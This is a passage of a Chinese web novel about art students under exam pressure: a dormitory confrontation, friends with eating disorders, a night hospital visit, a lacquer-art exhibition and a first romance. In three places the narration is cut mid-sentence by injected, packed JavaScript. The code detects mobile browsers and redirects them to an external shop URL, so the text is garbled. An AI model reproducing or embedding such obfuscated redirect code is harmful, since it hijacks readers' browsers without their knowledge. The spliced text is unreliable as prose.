地上有满满三大袋垃圾,冷梧心里明白,这是要拿她开涮。可她绕过垃圾,洗掉手上的铅灰,甩着水珠说:“今天不是我值日。” 徐媛轻蔑一笑:“反正你成绩不好,就算多画,也提高不了。这不是浪费时间吗?还不如搞干净宿舍卫生。” 冷梧瞥了一眼,忽然侧头一笑。 徐媛见她无动于衷,不由拔高声音催促:“你怎么还不去?” 冷梧慢吞吞走过去,双手一用力,将垃圾从地上拽起。 徐媛满意回头,打开桌上泡好的方便面,和朋友闲聊:“没用的人就干没用的事。你说是不是?” 一个女生笑嘻嘻附和:“当然啦!” 冷梧并没有往外走。一个转身,突然快步奔向桌子,举起垃圾狠狠丢在桌上。 垃圾从袋中溢出,酸臭的味道立刻在室内弥漫。徐媛的泡面被毁,怒不可遏:“冷梧,你发疯啊?!” 另一个在画画的女生尖叫,“垃圾都把我的速写本弄脏了!” “你有病啊?”又一个人斥道。 她们是同一个高中,自然默契地联合在一起,恼恨地瞪着冷梧。 冷梧靠在墙上,神情悠哉:“自己的垃圾自己丢。我现在去念一下值日表,看看今天究竟是谁值日。” 墙上贴着值日表,冷梧飞速念道:“徐媛、李笑宁、欧宛、冷梧......原来今天到徐媛了。徐媛,我知道你眼睛不好,不必谢我提醒你,这是同宿舍该做的。” 徐媛被激怒,一个劲步冲到她面前。右手高高举起,在空中卷起一股凉风。 “怎么,想打我?”冷梧眉眼弯弯,还将脸伸出去,“来,往这里打。” 4. 04绝不 “你是否全然没有野心,不把自己与别人比较地活在这个世界?因为你比较的时候,就会有冲突、有羡慕、有成功的欲-望,想超越别人。”——克里希那穆提 · “你可以试试,打我是什么下场。”冷梧一把攥紧她的手,语气悠然,“我会脑震荡,让你赔上一-大笔钱。” 徐媛瞪着她,恼羞成怒地说:“你唬谁?脑震荡哪里是那么容易得的?” “需要我给你普法吗?”冷梧一脸无辜,“那我还是给你科普一下,你会赔我多少钱吧。你打了我后,我会倒在地上,然后口吐唾沫。我家里会请律师,起码向你索赔五万。只要我不还手,你能拿我怎么办?” 徐媛脸色发白,又听冷梧“好心”提醒:“徐媛,你应该满十八岁了吧?” 这句话一出,她是真的怕了,本以为冷梧好欺负,没想到竟然不是个软柿子。 “松开我的手!”徐媛不甘心地想抽出手,可冷梧完全没有放手的意思。 “来打一下。”冷梧笑意盈盈,脸继续往前伸,“试一下。” 徐媛咬紧牙关,终于使劲挣脱束缚,口头还要再逞威风:“你真是有病,以后离我们远一点!” 她指挥着小跟班打扫卫生。冷梧洗好手后,上-床一拉帘子,轻飘飘道:“真没意思。” · 这个周末,冷梧赶回鹏城。 她热衷于两地奔波,动车不过半个小时的路程,只要掐好时间,家里-根本发现不了。 母亲刘棠陪她去机构,处理相关的留学事宜。那时韩本好申,没什么太大压力。中介笑眯眯说:“令嫒的雅思成绩很好,冲-刺高丽、成均馆、梨花女大……都可以。” “想去哪个学校?”刘棠问。 冷梧略一思索:“梨花女大吧。” 就这样拍板定下来。 回家路上,刘棠一边开车,一边说:“下个月你婆婆生日,我打算回去一趟。给你带糖油粑粑,你不是最喜欢吃婆婆做的粑粑了吗?” 婆婆是刘棠的母亲。冷梧小时候不理解,为什么亲人之间,还要加一个“外”字?于是自作主张,将外婆改叫婆婆,这个称呼就这样定了下来。 婆婆生活在湖南的一个小镇上,这些年里,刘棠总想着接过来养老,但婆婆却执意拒绝。 “好啊。”冷梧很高兴,“告诉婆婆我想她了。” 她回家待到星期天中午,就又搭乘动车回到羊城。落地羊城时,父亲突然打来电话。 “好好吃饭,知道吗?下次回来,提前给老爸打电话,老爸给你煲汤……” 冷梧抿唇一笑:“知道了,爸爸。我先挂了,还要写卷子呢。” 这话说得不假,冷梧参加集训,却不敢松懈文化课。除了画画,还要挤出时间复习。 一赶回画室,她就和林苔结伴写卷子。林苔英语不好,而她英语不错,数学却不行,每次看见数字,都想犯困。 而林苔数学很好,不厌其烦为她讲解。两个女孩因此互补功课。 “小梧,小蘑菇,我回来了!”全嵘推开门,手里拎着好几个袋子,“这是小梧要喝的奶茶,这是小蘑菇要吃的蛋糕……对了,我还从餐厅打包好了饭菜。” 周末食堂不开门,他累得虚脱,“这地太偏僻了!我让司机转来转去,兜兜绕绕才开回来。” 全嵘充当三人组的采购员。林苔也不客气,每次都使唤他大采购。 “全嵘,我发现你真的任劳任怨。”林苔打开心爱的草莓蛋糕,第一口先给冷梧。 全嵘切了一声,“要不是看在你是小梧朋友的份上,我才不搭理你呢。” 两个人拌着嘴,林苔看得出他的心思。毕竟他为冷梧打架的事,在机构广为人知,可结果却不了了之。 林苔悄悄问过冷梧;“小梧,你会想和全嵘上同一个地方的大学吗?” 林苔记得冷梧轻轻摇头,然后说不知道。 如果换做是她,她想和喜欢的人上同一个大学。 回忆结束,林苔不自觉吃完了草莓蛋糕。 冷梧整理好桌子,腾出一块空地。她打开平板,看下载好的《识骨寻踪》,完全当成下饭剧。 林苔觑去一眼,吓得调过头:“你竟然看无-码版!” 冷梧津津有味,“这是下饭仙品。” “我……有点怕。”全嵘不自觉坐远。 三个人你一言,我一语地用完午餐。谁都没有再说话,只是埋头写着卷子。 半晌,林苔低低的啜泣声从卷子中响起:“写不完啦,真的写不完。又要画画,又要兼顾文化课。就算联考拿到高分,可文化分如果不行,照样没有好大学上。有好多联考分数高、文化却没过线的人,最后只能去读大专……” 林苔爆发了:“谁说艺术生就是走捷径?我们又要画画,又要学文化。我简直就是八爪鱼,要参加两次高考!一次是艺术高考,一次是文化高考!” 画室经常有熬不住的人退学回去,冷梧有时候走到隐蔽角落,能听到不同的哭声。 “好累,我好累啊!”林苔哭泣。 冷梧向全嵘递眼神,他一下子明白,哗啦啦从购物袋中捧出一块蛋糕。 冷梧轻拍林苔后背,用纸巾擦去她的眼泪:“好了,不哭了。吃点甜的,你看,我们都在这里呢。” 林苔皱着脸,像个小花猫。她哭得上气不接下气:“小梧,我该怎么办?” “小苔,你要相信自己。我们三个一定可以考上想去的大学。”冷梧将蛋糕推过去,将刚刚的草莓蛋糕盒擦干净。 她撕下草稿纸,分成三份,分别递到林苔和全嵘手中。说:“把愿望和目标写在上面,然后折成星星,放在盒子中。等我们高考完,就一起回来打开。” 林苔停止眼泪,举起笔在纸条上写下:「羊美、广艺」,接着翻到背面,认真地说:“小梧,我想和你做一辈子的朋友。我们同甘共苦,谁都不要忘记谁!” 林苔在纸条背面写下:「林苔和冷梧好好的,顺带全嵘。」 一辈子吗?冷梧微愣。她不敢许下长久诺言,可对上林苔真诚的双眼,她竟莫名愿意相信。 而全嵘在认真写:「考上星海音乐学院。」 他望着冷梧,偷偷在下面接着写:「和小梧在同一个地方上大学,然后大学在一起,将来永远在一起。」 他理所应该觉得,冷梧会去考羊美。毕竟在珠三角,羊美的含金量无需多言。 两人一个在羊美,一个星海,同城方便见面。 冷梧郑重写下:「宁城艺术学院」,然后折成星星放入盒子中。 全嵘不会折星星,又不想让她们发现自己的心愿,便胡乱揉成一个纸团。 三人将心愿放进蛋糕盒,一起找了个隐秘的地方——一个废弃的画柜。林苔吸了吸鼻子,“等高考之后,我们再回来打开。” “好。” “当然可以!” 三人许下诺言,约定明年六月再次回来。这个包含-着少年们美好的憧憬,藏在高压的废土中,像一颗种子,等待着萌芽。 · 月底还有一次月考,一过十月,十一月底便是联考。 冷梧更加努力,每晚都泡在画室。 画着画着,她抬起头,竟然已经凌晨两点。教室空无他人,只剩下一盏灯。门被锁上了,应该是巡逻人员锁的。 冷梧直接放弃叫人。 回到角落,她望着画板沉思。突然间,重新提起笔,蘸满颜料,在画纸上挥舞着笔。 时间一分一秒度过,十月底的羊城已有微凉。冷梧只穿着一件短袖,寒意从地缝与墙壁中笼罩着她的全身。 此刻她咬紧牙关,只有一件念头:画!一条命罢了,为什么不能打破瓶颈? 打开平板,找到下载好的电影,外放声音陪伴着她。 《乱世佳人》里的斯嘉丽,穿过屏幕呐喊:“……愿上帝做我的见证,他们不会让我屈服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500953|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,我一定会渡过难关。战争结束后,我再也不要挨饿,绝不!也不让我的家人挨饿。即使让我撒谎,去偷,去骗,甚至去杀人。愿上帝做我的见证,我绝对不要再挨饿!” 冷梧忽然身躯一震,顿觉口-干-舌-燥,打开水杯急不可耐地灌入喉中。 杯子里泡着白牡丹。母亲刘棠说,秋天宜喝白茶。 她望着杯子,保温杯特有的,泛着一丝凉绿色的底,正浮着水与茶叶。起漾低晃间,恍惚变成绿粼湖面。像块铜镜,影着一段小身子。 水里,小身子的肩上挑起两个泡泡袖,像大朵的绒球花,在湖中上下飘浮。 “小梧,别在水边玩!”刘棠在廊上呼唤。 那年她十岁,盯着湖里的大鱼。听见母亲叮嘱,将手中的鱼料一撒,在鱼扑上来的瞬间,她飞快地跑回自家茶室。 刘棠为她整理好肩膀的泡泡袖,笑着一点她的鼻头:“跑那么快,也不怕摔跤。去里面坐,和苏老师学习泡茶。” 此时是清明节前后,茶室里窗棂洞开,满山的葱蔚洇润,与湖泊相映,浮粘上绿色纱屏围。隐约见屏后的削瘦女影,身姿如太湖山石。一时屏上水清树荣,山高花瘦,合成一奇景。 屏后的女影走出来,是那位姓苏的茶艺师,果真是个美人。她笑着招手:“小梧,进来坐。” 冷梧乖乖叫“苏老师好”,然后坐在蒲团上,跟着人学习泡茶。 对于小孩来说,沸沸热水,难免被会烫到。冷梧端盏的双手,立刻抖了一下。 “反者道之动,弱者道之用。”刘棠从后面握住她的手,仿佛面带微笑,“好茶坏茶,其实没有区别。只要装进好匣子里,就能卖出心仪价格。” 冷梧端着茶盏,原本摇晃的手,因为母亲的托举而稳稳当当。 “如果心存善良,就会被人喝掉。”刘棠仍在后面低声说,“知道吗?” 冷梧借着母亲的手,将茶送到唇边,半推半就地一口饮尽。 “刘老板。”员工掀帘进来,“有客。蔡检来了。” 刘棠松开握住女儿的手,笑道:“你还记得蔡叔叔吗?他有个和你差不多大的儿子。来,过去打个招呼。” 冷梧点点头,从蒲团上站起,勾住母亲的手:“我记得。小蔡哥哥说,他爸爸在家最常喝生普。” 刘棠半弯下身子,轻轻一刮她的鼻子:“你呀。” 后来,天公不作美,下了一场雨,打破了沉绿的湖面。涟漪圈圈点点,聚了又散,散了又聚。最后竟聚成一串绿葡萄。 冷梧盯着画纸上的静物,这串绿葡萄她画到一半,细节还没来得及勾勒。画室的冷光打在上面,悚得让人了无食欲。 她提起笔,似乎想冲破阻碍,要将画纸戳破。 斯嘉丽不服输的声音一遍遍响起,“……愿上帝做我的见证,他们不会让我屈服的,我一定会渡过难关……” 冷梧挥洒画笔,满头大汗,却没有哭泣。 当数量达到一定程度,便会形成质变。擂得厚厚的画纸铺成阶梯,了悟就在一瞬间。 笔下开始变得轻盈。画多了,人物与颜色下意识地跳跃而出。 就像武侠小说里,打通任督二脉后的废材。 冷梧抬头,与墙上挂钟对视。时针快指向五点,她起身来到窗边,美术楼高层上,可以俯瞰一切。 机构在郊区,夜景并不繁华。只有路灯与红绿灯在坚守,如抽帧般地闪烁。面对着寒凉夜景,玻璃上的脸年轻却疲倦。 墙上贴满了同学们的画,巨大横幅在提醒联考的来临。十月下旬不必开风扇,风静止,时间在这一瞬间凝固。 距离上课还要两个小时。冷梧坐在沙发上,红木微凉,她不由抱了抱自己,半睡半醒地短暂休息。 孤独的灯光落下,她眨眨眼,好像看见了费雯丽饰演的斯嘉丽。斯嘉丽举着枪,瞄准的是什么?她不禁伸出手,虚虚抓了个空影。 “斯嘉丽,你也相信人定胜天吧?”她问。 5. 05反抗 天赋是残忍的现实。 更何况冷梧还付出了百分之九十九的努力。她迅速崭露头角,如仙人抚我顶般了悟,能敏锐捕捉到光影与色调之间的关系,举一反三进步得飞快。 冷梧是进步了,可林苔却止步不前。画画这东西不像旁的,必须靠自己领悟,悟懂后便能畅通无阻。 “多画吧,不画是不会进步的。画着画着,说不定哪天就通了。”冷梧安慰林苔,她的确是画多了,才通了任督二脉。 哪怕坐在一起,也很难被人抄袭。这是一种无奈,因为每个人对构图和色彩的把控不同。如果在考试中,身旁的人画得很好,心态往往会被打击。因为评画就是按顺序排列,旁边的人好了,就显出自己的差。有时旁人画得差,自己哪怕不拔尖,却会被幸运地衬托,挑入分数高的档。 满分是一百,分为90、80、70等不同的分数档。只要进了那档,无论如何,分数都不会低于此档的最低分。 三科总分三百,广东压分数厉害,考到二百四十分就已经算高分,能排在全省二千名左右。考到二百七的就是凤毛麟角,大多是艺考状元的分数。 每天都是点线面,冷梧抱着三字真言不停地画画。 林苔沉寂下来,两个女孩每天互相作陪,在画室的深夜中拼命。 “爸爸不给我学画画,我就和阿嫲讲了,阿嫲给我出钱走艺考。我要是考不出名堂,我怎么对得起阿嫲?”林苔又忍不住哭。 压力太大了,曾经的苹果削瘦了下去,连全嵘都暴瘦了。 他是器乐生,弹钢琴,为了穿礼服开始减肥,晚饭也不吃了。因为老师说瘦一点气质会更好。 高高的一个男孩,变成薄薄一片。 全嵘有次也没忍住,在下晚修后偷偷抹了眼泪,“小梧,我真的挺饿的。除了卷才艺,还要卷容貌,我现在特别想吃东西。” 尤其是林苔在一旁大吃特吃。都说胃是情绪的器官,林苔开始暴饮暴食,人却没发胖。她有时一边吃,一边吐,吐完又爬起来画画。 冷梧觉得每个人都病了。 她的病是厌食。 胃是空虚的,可那种极致的空虚和饥饿,会让她的肾上腺素飙升,借此保持清醒,孜孜不倦地坚持画画。 “要不吃根雪糕吧?”林苔冲进小卖部,买了三支雪糕,“全嵘,雪糕是水做的。你吃下去很快就排出来了,没事的。” 全嵘眼冒金星,一把接过雪糕品尝。 林苔发誓,“我吃完这根雪糕再也不吃了!”她飞快地塞进嘴中,下一秒却“哇”地一声吐了出来。 “小蘑菇,你是吃撑了吧?”全嵘担心。 林苔一边哭,一边吐,食物不断地翻涌,洋洋洒洒吐了一地。冷梧忙掏出纸巾为她擦嘴。 “小梧,你离我远一点……”林苔望着满地狼藉,不禁想让她远离。 冷梧默默拿来扫把,全嵘也过来帮忙,两个人把地面弄干净。而林苔张了张嘴,她脑袋空白,胃里灼烧,根本说不出清醒话。 林苔忽然呼吸困难,食物堆满了全身,霸占着呼吸道。她捂住胸口,重重地拍打着。 “小苔,你怎么了?”冷梧迅速扶住身子一软的林苔。 林苔觉得自己要死了,眼前一片漆黑,呼吸急促:“小梧,我……” 冷梧拍了拍她的脸,意识到事情不对。可现在已经是凌晨,老师早已下班。 “全嵘,我们快点送她去医院!”冷梧立刻做出决定,“我去联系老师,然后去林苔宿舍找她的身份证。我们带上现金,快去快回!” 全嵘一下子反应过来,飞奔回宿舍拿钱。 冷梧用小卖部座机给老师打去电话,生活老师似乎睡晕过去,一个电话也没接。她只好回去拿了钱,又找到林苔的身份证,一刻也不停地跑回原地。 林苔蜷缩在角落,全嵘也赶到了。冷梧理智指挥:“你抱着她,我去叫门卫开门。” 机构是封闭式管理,没有请假条不可能出去。现在又是深夜,门卫没有老师指令,不敢放三人出去。 “要是死人了怎么办?你担责吗!”全嵘怒吼。 “我们已经给老师打过电话了。门卫叔叔,事态紧急,你看我朋友——她现在要是不去医院,出事了可怎么办?”冷梧情绪稳定。 门卫看着全嵘怀中不省人事的林苔,意识到不对劲,连忙说:“这里打不到车,我送你们去!” “谢谢叔叔!”冷梧感谢。 · 三人坐着门卫的三轮车,穿过城市的道路。秋风萧瑟,小三轮颠簸着,冷梧觉得这夜好长。 她伸出手,紧紧抱住发-抖的林苔。 到医院后,冷梧排队挂号,医生说要抽血拍CT,全嵘抢先垫付:“我来!” 门卫叔叔一遍又一遍给老师打电话。 深夜的医院静寂,弥漫着一股消毒水的味道。白炽灯晃晃的,像一条条白骨,横在少年们头上。 林苔是食物中毒。CT没毛病,医生说呼吸困难的症状,大概率是心理问题导致的。 医生开好药,还安排了一个病床。护士过来给林苔打点滴,冷梧和全嵘就一直陪着。 林苔的唇已经干裂,冷梧就用棉签蘸着水,一点点润着她的唇。 “小梧,全嵘,谢谢你们……”林苔又开始哭。如果没有朋友,她或许已经遭遇不测。 冷梧盯着药水瓶,温柔一笑:“别哭啦。现在不是好好的吗?” “就是就是。小蘑菇,我和小梧在这里陪你。”全嵘在冷梧身边坐下。 他见冷梧穿着薄长袖,而医院冷浸浸的。便脱下外套,轻轻盖在她肩上,笨拙地说:“晚上冷,别着凉。” 外套里有他的余温,冷梧微微一愣,温暖随之传进身子。 与此同时,老师们闻讯而来,都是一脸焦急:“林苔,你现在感觉如何?” “蒋老师,李老师,我没事。”林苔慢腾腾地说。 蒋洁就是生活老师。她半夜睡醒时,得知林苔出事,冷梧和全嵘冒险出机构,简直被吓得半死。 “林苔,老师对不起你……”蒋洁泪眼汪汪。 李老师是蒋洁的男朋友,也是林苔与冷梧的画室班主任。他稳定局面:“冷梧,谢谢你。这位同学……你是音乐楼的全嵘吧?老师也谢谢你。” 全嵘前科在前,自然大名鼎鼎。 冷梧淡声:“没事的老师,我们三人都是朋友,这是应该的。” 李老师一推眼镜:“林苔,我和你父母通过电话了,他们等会就到。蒋老师会留在这里。冷梧、全嵘,时间不早了,老师送你们回去。” 林苔立刻哀嚎一声:“不要啊!”她目光不舍,却说:“小梧,全嵘,你们回去吧。” 冷梧知道,林苔父母本就不想她走艺考,如今进了医院,怕是要被骂一顿。 “没事,我就留在这里陪你。”冷梧一笑,握住林苔的手。 “真的吗……”林苔眼里闪过希冀。 全嵘立马说:“我也留下来。”他是冷梧留,他就留。 蒋洁擦干眼泪,“好孩子……” · 林苔父母很快赶到。林父戴着眼镜,气场威严,林母同样如此。 林家父母见到女儿的第一眼,不是关心女儿,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500954|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是先和两位老师握手:“林苔给您二位添麻烦了。” 李老师客套回答:“哪里哪里,林苔是我的学生,这是应该的。多亏了这两个同学,才及时送她来医院。” 林父目光自带审视,他点头致谢:“谢谢你们。”随后,他认出了全嵘,语气缓和了不少:“你是全总的儿子?改日一定登门道谢。” 全嵘点头:“叔叔,我和林苔是朋友,举手之劳。” 而林父似乎无视了冷梧。 林母不太高兴,坐在病床边:“怎么回事?医生说你食物中毒,在画室吃个不停吗?” 林苔没敢看母亲,默默地抠着被子。 林母望向冷梧,一副公事公办的态度:“谢谢你,同学。”冷梧礼貌回应,说朋友之间本就是互帮互助。 “明天就回家,我看你干脆别学了!好好走文化才是正道。”林父低声斥责。 林苔低着头,倔强地一言不发。林父将钱还给全嵘,又拿出两百块给冷梧,“同学,就当是你陪林苔来医院的辛苦费。” 冷梧望着钱,仍保持安静:“林叔叔,这钱我不能收。我和林苔是朋友,朋友之间不谈金钱。” 林苔不敢看父亲,便握住冷梧的手,目光很是难过。 “等打完点滴,我就接你回去。”林母说,“两位老师,还辛苦你们大半夜跑一趟,我留在这里就好。”她客气送走老师。 “我不走!”林苔忽然大叫,眼里盈满泪水,“我就要学画画,我要考出好成绩给阿嫲看!” 林父动怒:“你胡说什么!考上艺术学院出来能有什么出息?考公大多只能考三不限。我让你去学法律,毕业正好在家门口上班,你就是这样糟蹋爸爸的苦心吗?” 林母不言,林苔流泪。 “我不想学法律,我就是要学画画!我每天早上七点起床,晚上一点才回宿舍。我已经努力了那么久,还有一个多月就艺考了,我不能放弃!”林苔突然爆发,“我不要再做你们的乖乖女了!” 林父板着脸,本想发火,却见冷梧和全嵘还在场。家丑不可外扬,他只好强忍下怒气。 “要是艺考没考好,你别在做我的女儿!”林父摔门而去,留下林母在病房中。 林母脸上写满失望:“林苔,妈妈一直希望你考个好大学。不要走艺考这种邪门歪道。做画家能赚几个钱?妈妈单位同事的孩子,学的是风景园林,现在根本找不到工作。你呀,把心思收一收,妈妈实在……” 林母叹息一声,最终却什么都没说。她留下五百块钱,放在女儿枕边,“医生说你输完液就没事了。你爸明天还要出差,妈妈还有工作。全嵘,这位同学,你们要是想回学校,阿姨现在送你们回去。” 冷梧和全嵘摇头,异口同声:“阿姨,有我们陪着林苔,您和叔叔放心吧。” 林母点头,又抽出钱放在林苔枕边,叮嘱道:“明天出院后,带同学进市区里玩一玩,记得好好招待。”她客气对二人笑道,“全嵘,囡囡,谢谢你们。” 连冷梧的名字都没问,就用笼统的囡囡替代。 林家父母很快离开,病房里又只剩下三人。 林苔擦掉眼泪:“我爸妈就这样,我习惯了。”她攥紧被子,“我一定会考上大学,证明给他们看。我不能辜负阿嫲的期望。” 冷梧轻轻握住她的手:“我们说好了,一起上大学,一起回到画室拆心愿。” 全嵘在一旁附和,说就是就是。 “小梧。”林苔的眼泪擦了又流,“我是个平庸的人,平庸的成绩,平庸的青春。我好像无法做到成功,可我也想闪闪发光。你说,努力真的会有回报吗?” 6. 06萌动 “当然。” 冷梧声音坚定,“我开窍的那天,在教室画了一个晚上。一边画,一边想,凭什么我不能超越自己?想要考上大学,除了拼天赋就是拼努力。我自认不是天才,但我足够努力。小苔,如果你相信人定胜天的话,我就是最好的例子。” 全嵘惊愕,“难怪有一天晚上,我没有在美术楼等到你……”他望着冷梧纤细的背影,忽然心里冒泡,有点涩,有点自责,“如果当初我上去陪你就好了。” 林苔回握住冷梧的手,吸了吸鼻子:“这口鸡汤我喝了!” 病房里,总算传出一丝欢声笑语。 · 十月份的月考,冷梧冲进了前三十,名字出现在第一页成绩单上。 画室有一千多人,名字更迭极快,就像老式的机场航班翻动牌。一翻,下个人就冲了上来。 林苔还是在中游浮动,但她已放平心态,平时也更加努力。 步入十一月,羊城始入深秋。 全嵘的母亲每个月都来看望儿子,全嵘本想带她们一起去吃饭,可冷梧婉拒。林苔也说:“这多不好意思。” 月底放了两天假,林苔不想回家,说等到艺考结束再回去。 她和冷梧约好第二日去羊美看展,听说美院举办了工艺美术展。 全嵘不知道从哪里得来的消息,非要跟着她们一起去美院。林苔吐了吐舌头,“是全嵘死缠烂打啦,他就是想知道你去哪里玩。” 冷梧不恼,本就习惯全嵘在后面跟着、追着。 三人早早出发,来到美院大学城校区。 上次住院,她本想把钱给二人,结果冷梧和全嵘双双拒绝。她便一直想着这件事,于是买票的时候,先一步付了钱。 美院不愧是美院,里面的人五光十色,个性十足。他们来到工艺美术学院,像冒险的孩子走进新世界的大门。 “其实我喜欢捏泥巴,小时候去珠海,最喜欢在沙滩上堆堡垒了。”林苔碎碎念,牵着冷梧的手走进人群中,“所以我想考羊美的陶瓷艺术设计,学陶艺可以捏泥巴。” 学院门口刻着简介:羊城美术学院是全国最早成立工艺美术专业的院校之一,专业包含工艺美术、漆艺、金工与首饰三个专业方向…… 冷梧在一个叶子形的“雕塑”面前驻足。这个叶子大约有一米四,造型流畅,外黑内红,黑色的外表像一面镜子,能映照出她的脸。 像叶子,又像帆船。静静摆在室内,尾尖高昂,仿佛随时准备破浪前行。 “这是漆器,”一名学姐微微笑道,“所谓漆器,千年不朽,万年不变。你看它的颜色,无论时光过去多久,都会永远这么鲜亮。” 冷梧垂下眼帘,只见作品牌上写着—— 《一叶扁舟》作者·朱阙 高个子学姐笑道:“这是我的作品。小妹妹,一看你就是美术生吧?欢迎你报考羊美,希望你能了解工艺美术这个专业。” 其实冷梧对这个专业并不了解,学姐兴致勃勃地打开平板,划着照片展示:“这是陕西历史博物馆的汉朝漆耳杯。你看,千年之后,上面的颜色依旧鲜艳、浓烈。” 平板上的照片像是学姐自己拍的,外黑内红的漆耳杯安然摆在博物馆中,杯中的那抹鲜红奇异地流传至今,仿佛时光从未在它身上停留。 “汉朝耳杯中,有时会写上‘君幸酒’三个字。千年前,人们捧起耳杯,与好友共饮。这份感情流传至今,随着大漆永世不灭。”朱阙的声音富有活力,“可惜知道漆艺的人太少了。我是每见到一个人,就想拉着讲解。” “学姐,”冷梧轻声,“那你的作品,也会永远留在时光中吗?” 朱阙目光慈爱,望着作品,如同在看珍爱的孩子:“会的。漆液柔软,可风干后却会变得无比坚硬。颜色甚至会随着时间,而慢慢愈发鲜亮。等我老了、死了,它还会存在。” 冷梧静静凝望。灯光下,叶子漆器依旧安静,可希冀却暗藏其中。 美丽,死亡,都会变成永恒。 万世不灭,万世存在。 “这个送给你。”朱阙从本子取出一枚书签,递到冷梧面前。 书签轻薄,颜色丰富,红色、绿色、金色像河水一样流淌。 “这是用漂漆技法做的书签,”朱阙解释着,“将漆液放在水面上,漂漆就像流水一样,随着水而创造。正是因为有这种特性,所有每一个都是独一无二的。” 冷梧接过书签,心里有什么东西被轻轻一触:“谢谢学姐。” “小梧!”林苔越过人群,过来挽住她的手臂,“我刚刚在看金工的展区,有好多富有设计感的首饰。听说这些展品可以买下来,可惜我没有耳洞,不能戴耳环。” 林苔兴致勃勃,拉着冷梧来到金工展区,对着其中一个展位说:“我喜欢这个,作品叫《埃及之眼》……” 这套首饰包含耳环、项链、戒指与胸针。金属的冷酷中和了埃及的炎热。其中一对耳环是不规则的眼睛,一只睁着,一只闭着,睫毛像是太阳的光辉。 “这些都是一锤一刻雕出来的,真厉害呀!”林苔惊呼,“现在那么多工厂的流水线饰品,能慢慢雕琢出一件作品,实在是不容易。还有多少人会坚持呢?” 工艺美术是传统的手工艺专业。在这个快节奏的时代,这样一个专业似乎逐渐没落。漆艺、金工……都是非遗文化,可学习的人却并不多。 因为学门手艺时,日子会过得很慢,慢到让人难以耐心等待。 “原来你们在这里!”全嵘突然闪现在她们身后,乐不可支地说,“左边有一个玻璃镶嵌的展品,你们快过去瞧,酷毙了!” 三人足足看了一个中午,最后流连忘返地离开。 · “我一定要去学习陶艺,这样可以捏特别可爱的蛋糕!”林苔为自己打气,“我已经决好了专业,无论是羊美还是广艺,或是景德镇陶瓷大学,我都要去试一下!小梧你呢,想学什么吗?” 冷梧走在小石道上,脚前出现一粒小石子。她步子一顿,却没有踢开,而是稳稳地越过去:“我想学漆艺。” 全嵘跟在她们后面,听见这个回答后,忽然心里溢出高兴。 “全嵘,你呢?”林苔问。 “我想去星海。离鹏城近,回家也方便。”全嵘气宇轩昂。 林苔说:“好啊!那我们三个又可以在一起玩了,反正我是羊城人,找你们最方便了。” 走在校园里,全嵘望着天边晚霞,忽然说:“嗯,一定会实现的。我们的理想,都会实现。” 迎着晚风,林苔提议:“我们去看电影吧?我请你们看《神奇动物2》。” 三人找了最近的电影院,买了可乐和爆米花。 进入放映厅后,林苔一屁-股坐在中间。 全嵘频频使眼色,可林苔无动于衷,他气呼呼地说:“我要和小梧坐。” “我也要和小梧坐。”林苔眨眼。 “你!”全嵘捧着爆米花,半天说不出话。要他怎么说? 冷梧出来主持大局:“好啦,我坐中间吧。” 林苔往左边一挪,等冷梧坐定后,全嵘高兴地在右边坐下。 冷梧还挺喜欢看《哈利·波特》,也看过神奇1,因此能很好衔接上剧情。她不太爱看文艺片,偏好节奏非常快的影片,最好反转再反转,这样能高度集中注意力。 她放下可乐,将手搭在边上。 右边的指尖被突然一碰。 冷梧微微侧首,见全嵘镇定自若地望着荧幕。她低下头,见他的手慢慢靠了过来。 他的手轻轻握住她的小拇指,小心翼翼,就是小人在巨人国搬东西,却不敢再往前一步。 小拇指传来温热的触觉,冷梧竟没有抽出手,仿佛无事发生。 她继续看着电影,可手却依然放在边上。小拇指被勾住,好像他的心跳也随之传过来。 扑通、扑通。 在昏暗的电影院中,少男红了耳尖,而少女只是静静坐着。 · 看完电影后,离画室门禁还有好几个小时。林苔索性说:“我请你们吃红豆冰,我知道有家茶餐厅做得特别好!” 林苔推荐的店有些偏,车开不进巷子里,三人只好步行。还好红豆冰值得这一段路,堆得高高的刨冰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500955|202728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面淋满了软烂的红豆,一口吃下又冰又甜。 “呀,下雨了!”林苔吃完后抬头,小雨淅淅沥沥,不时扑上玻璃门。 三人都没带伞,决定在店里待等雨停再走。可等来的却是越下越大的雨,林苔抱怨,“都等了二十分钟了,怎么还没停?万一过了门禁时间,那就进不去了!” “我们索性一口气跑回车上!”全嵘提议,“这点雨怕什么?” 林苔拧眉:“这算一点雨吗?” 冷梧没有发表意见,一副都行的模样。 